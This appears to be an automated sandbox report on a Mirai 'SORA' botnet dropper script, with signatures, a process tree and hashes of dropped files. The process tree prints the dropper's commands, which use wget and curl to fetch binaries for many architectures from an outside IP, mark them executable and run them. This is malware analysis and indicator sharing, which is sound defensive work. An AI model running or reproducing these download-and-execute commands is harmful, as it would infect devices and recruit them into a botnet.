Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-11-2024 14:37

General

  • Target

    aws.sh

  • Size

    2KB

  • MD5

    b9ea41c0744886c9aa436d2560a56f9d

  • SHA1

    eab007c33f66384f237c3385f56ad11522778fcd

  • SHA256

    03f69bcb2f4e202c7372cf932d65338255201439fe776cd8ac8a9632065555bf

  • SHA512

    767eafb58db47b959fa25019f2ecb7bc93d983e84fee08303918b36b9c0034b2675dd6751b66dcf990a80018ae48c25c5789502b385e668cc2b6f96d2dd41889

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (34714) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 53 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/aws.sh
    /tmp/aws.sh
    1⤵
    • Writes file to tmp directory
    PID:714
    • /usr/bin/wget
      wget http://93.123.85.190/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:720
    • /usr/bin/curl
      curl -O http://93.123.85.190/bins/sora.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:732
    • /bin/cat
      cat sora.x86
      2⤵
        PID:744
      • /bin/chmod
        chmod +x aws.sh robben sora.x86
        2⤵
        • File and Directory Permissions Modification
        PID:745
      • /tmp/robben
        ./robben aws.exploit
        2⤵
        • Executes dropped EXE
        PID:746
      • /usr/bin/wget
        wget http://93.123.85.190/bins/sora.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:748
      • /usr/bin/curl
        curl -O http://93.123.85.190/bins/sora.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:750
      • /bin/cat
        cat sora.mips
        2⤵
        • System Network Configuration Discovery
        PID:751
      • /bin/chmod
        chmod +x aws.sh robben sora.mips sora.x86
        2⤵
        • File and Directory Permissions Modification
        PID:752
      • /tmp/robben
        ./robben aws.exploit
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Changes its process name
        • Reads runtime system information
        PID:753
      • /usr/bin/wget
        wget http://93.123.85.190/bins/sora.x86_64
        2⤵
        • Writes file to tmp directory
        PID:760
      • /usr/bin/curl
        curl -O http://93.123.85.190/bins/sora.x86_64
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:761
      • /bin/cat
        cat sora.x86_64
        2⤵
          PID:762
        • /bin/chmod
          chmod +x aws.sh robben sora.mips sora.x86 sora.x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:763
        • /tmp/robben
          ./robben aws.exploit
          2⤵
          • Executes dropped EXE
          PID:764
        • /usr/bin/wget
          wget http://93.123.85.190/bins/sora.i468
          2⤵
            PID:766
          • /usr/bin/curl
            curl -O http://93.123.85.190/bins/sora.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:767
          • /bin/cat
            cat sora.i468
            2⤵
              PID:768
            • /bin/chmod
              chmod +x aws.sh robben sora.i468 sora.mips sora.x86 sora.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:769
            • /tmp/robben
              ./robben aws.exploit
              2⤵
              • Executes dropped EXE
              PID:770
            • /usr/bin/wget
              wget http://93.123.85.190/bins/sora.i686
              2⤵
              • Writes file to tmp directory
              PID:771
            • /usr/bin/curl
              curl -O http://93.123.85.190/bins/sora.i686
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:776
            • /bin/cat
              cat sora.i686
              2⤵
                PID:784
              • /bin/chmod
                chmod +x aws.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64
                2⤵
                • File and Directory Permissions Modification
                PID:786
              • /tmp/robben
                ./robben aws.exploit
                2⤵
                • Executes dropped EXE
                PID:787
              • /usr/bin/wget
                wget http://93.123.85.190/bins/sora.mpsl
                2⤵
                • Writes file to tmp directory
                PID:789
              • /usr/bin/curl
                curl -O http://93.123.85.190/bins/sora.mpsl
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:795
              • /bin/cat
                cat sora.mpsl
                2⤵
                  PID:804
                • /bin/chmod
                  chmod +x aws.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:806
                • /tmp/robben
                  ./robben aws.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:807
                • /usr/bin/wget
                  wget http://93.123.85.190/bins/sora.arm4
                  2⤵
                    PID:809
                  • /usr/bin/curl
                    curl -O http://93.123.85.190/bins/sora.arm4
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:814
                  • /bin/cat
                    cat sora.arm4
                    2⤵
                      PID:825
                    • /bin/chmod
                      chmod +x aws.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:826
                    • /tmp/robben
                      ./robben aws.exploit
                      2⤵
                      • Executes dropped EXE
                      PID:827
                    • /usr/bin/wget
                      wget http://93.123.85.190/bins/sora.arm5
                      2⤵
                      • Writes file to tmp directory
                      PID:829
                    • /usr/bin/curl
                      curl -O http://93.123.85.190/bins/sora.arm5
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:834
                    • /bin/cat
                      cat sora.arm5
                      2⤵
                        PID:835
                      • /bin/chmod
                        chmod +x aws.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:836
                      • /tmp/robben
                        ./robben aws.exploit
                        2⤵
                        • Executes dropped EXE
                        PID:837
                      • /usr/bin/wget
                        wget http://93.123.85.190/bins/sora.arm6
                        2⤵
                        • Writes file to tmp directory
                        PID:839
                      • /usr/bin/curl
                        curl -O http://93.123.85.190/bins/sora.arm6
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:840
                      • /bin/cat
                        cat sora.arm6
                        2⤵
                          PID:841
                        • /bin/chmod
                          chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:842
                        • /tmp/robben
                          ./robben aws.exploit
                          2⤵
                          • Executes dropped EXE
                          PID:843
                        • /usr/bin/wget
                          wget http://93.123.85.190/bins/sora.arm7
                          2⤵
                          • Writes file to tmp directory
                          PID:846
                        • /usr/bin/curl
                          curl -O http://93.123.85.190/bins/sora.arm7
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:847
                        • /bin/cat
                          cat sora.arm7
                          2⤵
                            PID:848
                          • /bin/chmod
                            chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:849
                          • /tmp/robben
                            ./robben aws.exploit
                            2⤵
                            • Executes dropped EXE
                            PID:850
                          • /usr/bin/wget
                            wget http://93.123.85.190/bins/sora.ppc
                            2⤵
                            • Writes file to tmp directory
                            PID:852
                          • /usr/bin/curl
                            curl -O http://93.123.85.190/bins/sora.ppc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:853
                          • /bin/cat
                            cat sora.ppc
                            2⤵
                              PID:860
                            • /bin/chmod
                              chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:861
                            • /tmp/robben
                              ./robben aws.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:863
                            • /usr/bin/wget
                              wget http://93.123.85.190/bins/sora.ppc440fp
                              2⤵
                                PID:866
                              • /usr/bin/curl
                                curl -O http://93.123.85.190/bins/sora.ppc440fp
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:870
                              • /bin/cat
                                cat sora.ppc440fp
                                2⤵
                                  PID:876
                                • /bin/chmod
                                  chmod +x aws.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:877
                                • /tmp/robben
                                  ./robben aws.exploit
                                  2⤵
                                  • Executes dropped EXE
                                  PID:878
                                • /usr/bin/wget
                                  wget http://93.123.85.190/bins/sora.m68k
                                  2⤵
                                    PID:881

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/robben

                                  Filesize

                                  28KB

                                  MD5

                                  fa5457b7546c1b7060c30bde3f8649ca

                                  SHA1

                                  7c75f6463c36eaebc4719f47d8047e5195a85057

                                  SHA256

                                  d3f2f30efffec0f49e28199c60b2819a3e831ae0ba920abd2c5ece5e4bfb3adf

                                  SHA512

                                  f012d61a479015af70447b1c3bd2a48c2977691f9a180f4f5c3340b034c65d69782299cb8459e92e3a18dcadfa3078c8b1c613593170f9fa95dd53ba36050c21

                                • /tmp/robben

                                  Filesize

                                  28KB

                                  MD5

                                  ec332610b0ca5b634c097ed14f42eedc

                                  SHA1

                                  abcbd111601f4165c400e9db36fbf20339e37170

                                  SHA256

                                  2bfdc588e26d5f6ac54ca3330ced3ab2bfc9bafb98cdd91fd017180dd5848b3a

                                  SHA512

                                  f41f54e2aca4a5dfa3d7bcbad45963aa943fa3b6536c34f7c92c7c79894f1009ef5ab13cfed39b74ffc614791b77497689bcbe71edfefecb20497d873c92d1b0

                                • /tmp/robben

                                  Filesize

                                  212B

                                  MD5

                                  83ab6cd9a67528bbc6f4f360cb7f8d83

                                  SHA1

                                  07e8f17209e0569aab39f062568ff0090d9b20d4

                                  SHA256

                                  3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

                                  SHA512

                                  171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

                                • /tmp/robben

                                  Filesize

                                  28KB

                                  MD5

                                  d356657b6ea7a715b60217a914eb6ca8

                                  SHA1

                                  b276b1a91895c3025e9f9d64227205dac79c8ef6

                                  SHA256

                                  b0758e5e7fde30404ec43dd5fba21253735464062e8a10f0876193d18194fe22

                                  SHA512

                                  3b0ab5d1282c9d2ea18ed0fc78aeabafde6c16fa094d53d39a67d3316482da0cffa444dd5dc14aeefb547ce2f789480caa5bb514cb4a26787c7441ba8862e262

                                • /tmp/robben

                                  Filesize

                                  51KB

                                  MD5

                                  b8cb140290d21f49dd081f126a75b203

                                  SHA1

                                  a9735bd0e2dc30f9bf9f41f01f09ef34be2be2cc

                                  SHA256

                                  bce1fe24bc80d79c339fa6ef973ac73338716051739b0c26a72c31f33a5e6029

                                  SHA512

                                  003309e15087befbc4bde345a9d02b0974f4cbe835275fce367ba000867f1d515cc7c41298a5c8c9321525039fbcc5e29206f28448607c9c3b5325333faa706e

                                • /tmp/sora.x86

                                  Filesize

                                  27KB

                                  MD5

                                  00eff503439515d9b12b9c068367cb80

                                  SHA1

                                  82d68f2b1ffca8558458c1b858599542a67d8bbf

                                  SHA256

                                  2962b987b00b166299f9a73f7ccb8dc02b4208266465b41f6b1c9c28277d7276

                                  SHA512

                                  3800bc5a8f3983fc50813c49c906203af6528ff3eb97b4818a8632085562c25eab1c691edb5dcdc96c8d2c3f25784a41897ec8a52c042d391899a310224d50f5